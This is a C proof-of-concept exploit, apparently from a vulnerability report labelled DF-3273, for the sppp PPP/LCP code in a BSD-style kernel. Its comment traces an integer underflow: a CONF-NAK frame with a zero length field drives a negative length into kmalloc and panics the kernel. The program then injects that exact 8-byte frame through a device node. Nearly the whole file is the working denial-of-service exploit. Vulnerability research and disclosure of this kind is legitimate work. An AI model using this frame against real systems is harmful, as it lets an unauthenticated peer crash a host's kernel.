DF-3273 / poc_3273.c
/* * DF-3273 PoC: unauthenticated peer one-frame kernel panic. * * sppp_cp_input() clamps len = min(m->m_pkthdr.len, ntohs(h->len)) and only * re-checks len<4 for CONF_REQ. A CONF-NAK carrying h->len==0 slips through * the ident check (confid[] is 0 before the sppp layer ever sent a request) * and is dispatched to sppp_lcp_RCN_nak(sp, h, 0), which does * len -= 4; -> -4 * kmalloc(len, M_TEMP, M_INTWAIT) -> kmalloc(0xFFFFFFFFFFFFFFFC) * round_page() wraps to 0 -> degenerate oversized alloc -> freed garbage -> * panic (KKASSERT in slab allocator on the INVARIANTS kernel). * * Frame = PPP header (ff 03 c0 21) + LCP header (type=CONF_NAK, id=0, len=0) */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <string.h> int main(void) { unsigned char frame[] = { 0xff, 0x03, 0xc0, 0x21, /* PPP: LCP */ 0x03, 0x00, 0x00, 0x00, /* CONF_NAK, id=0, h->len=0 */ }; int fd, n; fd = open("/dev/spppinj0", O_RDWR); if (fd < 0) { perror("open /dev/spppinj0"); exit(1); } printf("[*] injecting 1 LCP CONF-NAK frame, h->len=0\n"); n = write(fd, frame, sizeof(frame)); printf("[*] write returned %d\n", n); sleep(3); printf("[!] kernel still alive -- NOT reproduced\n"); return 1; } |